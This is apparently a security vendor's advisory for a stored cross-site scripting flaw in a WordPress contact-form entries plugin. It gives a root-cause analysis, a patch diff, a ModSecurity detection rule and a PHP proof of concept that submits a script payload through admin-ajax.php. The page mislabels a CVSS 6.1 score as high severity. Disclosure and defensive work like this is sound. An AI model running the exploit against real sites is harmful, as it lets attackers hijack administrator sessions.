Published : November 28, 2026

CVE-2026-126988: Database for Contact Form 7, WPforms, Elementor forms <= 1.5.6 Unauthenticated Stored Cross-Site Scripting via 'post_id' Parameter via Elementor Pro Form Submission PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.5.6
Patched Version 1.5.7
Disclosed November 27, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-126988: The Database for Contact Form 7, WPforms, Elementor forms plugin (contact-form-entries) version 1.5.6 and earlier contains an unauthenticated stored Cross-Site Scripting (XSS) vulnerability. The flaw resides in improper sanitization of the ‘post_id’ parameter during Elementor Pro form submissions and inadequate output escaping in the admin entry view. Atomic Edge rates this as high severity (CVSS 6.1), enabling an attacker to inject arbitrary JavaScript that executes in an administrator’s browser.

The root cause is twofold. First, in crm-entry-box.php, the ‘post_id’ and ‘form_id’ values are retrieved without typecasting: `$form_id_p=$this->post(‘form_id’); $post_id_p=$this->post(‘post_id’);`. The post() function returns raw user input. Later, this unsanitized ‘post_id’ is echoed in the ‘Entries by Same User’ box via `echo is_array($value) ? wp_kses_post(implode(‘, ‘,$value)) : wp_kses_post($value);`. Although wp_kses_post is used, it permits certain HTML tags (e.g., “ is not allowed, but event handlers like onerror are permitted in some contexts), and the value is not validated as numeric. Additionally, the patch changes the output to use esc_html(), indicating that wp_kses_post was insufficient for this context. Second, the field sanitization loop in contact-form-entries.php only sanitized ‘textarea’ fields with sanitize_textarea_field, leaving other field types like ‘text’ and ‘hidden’ unsanitized when they are not files. The patch extends sanitization to additional types using wp_kses with an empty allowed tags array, effectively stripping all tags.

Exploitation requires two steps. An unauthenticated attacker submits an Elementor Pro form on a site using the vulnerable plugin, setting the ‘post_id’ parameter to a malicious JavaScript payload, such as `123alert(document.cookie)` or a more obfuscated variant. The plugin stores this value in the entry record. The attacker also sets a vx_user cookie to a known value. Later, when an administrator views any entry (even a clean one), the ‘Entries by Same User’ box queries entries sharing the same vx_user cookie value. Because the box does not restrict by form, the malicious entry is included and the stored payload is rendered. The patch addresses this by casting ‘post_id’ to integer and by using esc_html() for output, ensuring the payload is treated as text and neutralized.

The patch in version 1.5.7 introduces two key fixes: (1) integer casting of ‘form_id’ and ‘post_id’ in crm-entry-box.php via `(int)$this->post(…)`, which prevents non-numeric characters from being stored; and (2) replacement of wp_kses_post with esc_html in the entry rendering, which HTML-encodes all special characters, preventing script execution. Additionally, the field sanitization loop now applies wp_kses with no allowed tags to ‘text’, ‘url’, ‘password’, ‘tel’, ‘number’, ‘hidden’, ‘date’, and ‘time’ fields, stripping any HTML. These changes eliminate the XSS vector by ensuring the ‘post_id’ is strictly numeric and all output is properly escaped.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of an authenticated administrator. This can lead to session hijacking, creation of rogue admin accounts, installation of malicious plugins, or theft of sensitive data. The CVSS score of 6.1 reflects the need for user interaction (admin viewing the entry) and the potential for full site compromise. Atomic Edge research confirms that the vulnerability is particularly dangerous because it requires no authentication and leverages a common form submission feature.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/contact-form-entries/contact-form-entries.php
+++ b/contact-form-entries/contact-form-entries.php
@@ -2,7 +2,7 @@
 /**
 * Plugin Name: Contact Form Entries
 * Description: Save form submissions to the database from <a href="https://wordpress.org/plugins/contact-form-7/">Contact Form 7</a>, <a href="https://wordpress.org/plugins/ninja-forms/">Ninja Forms</a>, <a href="https://elementor.com/widgets/form-widget/">Elementor Forms</a> and <a href="https://wordpress.org/plugins/wpforms-lite/">WP Forms</a>.
-* Version: 1.5.6
+* Version: 1.5.7
 * Requires at least: 3.8
 * Author URI: https://www.crmperks.com
 * Plugin URI: https://www.crmperks.com/plugins/contact-form-plugins/crm-perks-forms/
@@ -25,7 +25,7 @@
   public static $type = "vxcf_form";
   public static $path = '';

-  public static  $version = '1.5.6';
+  public static  $version = '1.5.7';
   public static $upload_folder = 'crm_perks_uploads';
   public static $db_version='';
   public static $base_url='';
@@ -66,6 +66,7 @@


 public  function init(){
+
     //save screen and url for all forms
 add_action('wp_footer', array($this,'footer_js'),33);
 wp_register_script( 'vx-tablesorter-js', self::$base_url. 'js/jquery.tablesorter.js',array('jquery') );
@@ -430,11 +431,12 @@
 if(!empty($fields)){
 foreach($lead  as $k=>$v){
     $type=isset($fields[$k]['type']) ? $fields[$k]['type'] :'';
-    if( in_array($type,array('textarea'))){
-    $lead[$k]=sanitize_textarea_field($v);
+    if( in_array($type,array('textarea','text','url','password','tel','number','hidden','date','time'))){
+    //$lead[$k]=sanitize_textarea_field($v);
+    $lead[$k]=wp_kses($v,array());
     }else if(!in_array($type,array('file','mfile'))){
   $lead[$k]=$this->post($k,$lead);
-    }
+    }
 }
 }
   $main=apply_filters('vxcf_entries_plugin_before_saving_lead_main',$main,$lead,$entry_id);
@@ -621,8 +623,8 @@
 error_reporting(E_ALL);*/

    // $data=$record->get_formatted_data();
-    $form_id_p=$this->post('form_id');
-    $post_id_p=$this->post('post_id');
+    $form_id_p=(int)$this->post('form_id');
+    $post_id_p=(int)$this->post('post_id');

    // $d=$record->get_form_settings( 'form_fields' ); //form_name
     $data = $record->get( 'fields' );
@@ -1382,7 +1384,11 @@
                   }
                   if(strpos($file,$base_url) === 0){
                   $file=str_replace($base_url,trim(ABSPATH,'/'),$file);
-                  }
+                  }
+                    $file=realpath($file);
+                      if(strpos($file,$folder) === false){
+                      continue;
+                      }
                   $file_sep='/';
                   if(strpos($file,'\') !== false){
                    $file_sep='\';
--- a/contact-form-entries/templates/crm-entry-box.php
+++ b/contact-form-entries/templates/crm-entry-box.php
@@ -39,11 +39,11 @@
  });
  $('#vx_print_entry').on('click',function(e){
     e.preventDefault();
-   var url='<?php echo esc_url_raw($print_link) ?>';
+   var url='<?php  echo esc_js( $print_link ); ?>';
    if($('#vx_include_notes').is(':checked')){
     url+='&notes=1';
    }
-   window.open(url,'printwindow');
+   window.open(url.replaceAll("&", "&"),'printwindow');
  //  window.open('http://localhost/wp19/','printwin');
  })
 })
--- a/contact-form-entries/templates/view.php
+++ b/contact-form-entries/templates/view.php
@@ -212,7 +212,7 @@
   width: 30px; padding: 10px 0 4px 2px;
 }
 .vx_wrap .crm_note_img img{
-    width: 100%; height: 100%;
+    width: 56px; height: 56px;
 }
 .vx_wrap .crm_note_img {
  float: left;
@@ -629,7 +629,7 @@
   <a href="<?php echo esc_url($value) ?>" target="_blank"><?php echo esc_html($value) ?></a>
   <?php
   }else{
-   echo is_array($value) ? wp_kses_post(implode(', ',$value)) : wp_kses_post($value);
+   echo is_array($value) ? esc_html(implode(', ',$value)) : esc_html($value);
   }

  ?>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-126988
# This rule blocks XSS attempts via the 'post_id' parameter in Elementor Pro form submissions.
# It targets the specific parameter and detects common XSS patterns.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:2026126988,phase:2,deny,status:403,chain,msg:'CVE-2026-126988: Stored XSS via post_id in Elementor Pro form',severity:'CRITICAL',tag:'CVE-2026-126988'"
    SecRule ARGS_POST:action "@streq elementor_pro_forms_send_form" "chain"
        SecRule ARGS_POST:post_id "@rx <[^>]*>|(?:javascript|vbscript|data):|on[a-z]+s*=" 
            "t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-126988 - Database for Contact Form 7, WPforms, Elementor forms <= 1.5.6 - Unauthenticated Stored XSS via 'post_id' Parameter via Elementor Pro Form Submission

// Configurable target URL
$target_url = 'http://example.com';

// Step 1: Submit a malicious Elementor Pro form with XSS payload in post_id
// We assume the form is accessible and the plugin processes it.
$payload = '123<script>alert(document.cookie)</script>';
$form_data = [
    'post_id' => $payload,
    'form_id' => '1',
    'vx_user' => 'attacker_cookie_value', // Set cookie via header
    // Additional required fields for the form (depends on the form configuration)
    'name' => 'test',
    'email' => 'test@example.com',
    'message' => 'test'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($form_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, 'vx_user=attacker_cookie_value');
// Set headers to mimic a legitimate form submission
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/x-www-form-urlencoded',
    'User-Agent: Mozilla/5.0'
]);
// The actual AJAX action for Elementor Pro form submission is 'elementor_pro_forms_send_form'
// but we need to include it. Adjust if necessary.
$form_data['action'] = 'elementor_pro_forms_send_form';
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($form_data));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Form submission sent. HTTP code: $http_coden";

// Step 2: The attacker does not need to do anything else; the payload is stored.
// An administrator viewing the entry will trigger the XSS.
// For demonstration, we could simulate an admin visit, but that requires credentials.

// Note: This PoC assumes the form has fields 'name', 'email', 'message' and the plugin is configured to save entries.
// The 'post_id' parameter is not typically a form field, but the plugin captures it from the request.
// Attackers may need to adjust based on the actual form structure.

// Additionally, the vx_user cookie is set to correlate entries.
// The payload will be rendered in the admin panel when viewing entries with the same cookie value.

echo "[+] Exploit completed. The XSS payload is stored.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.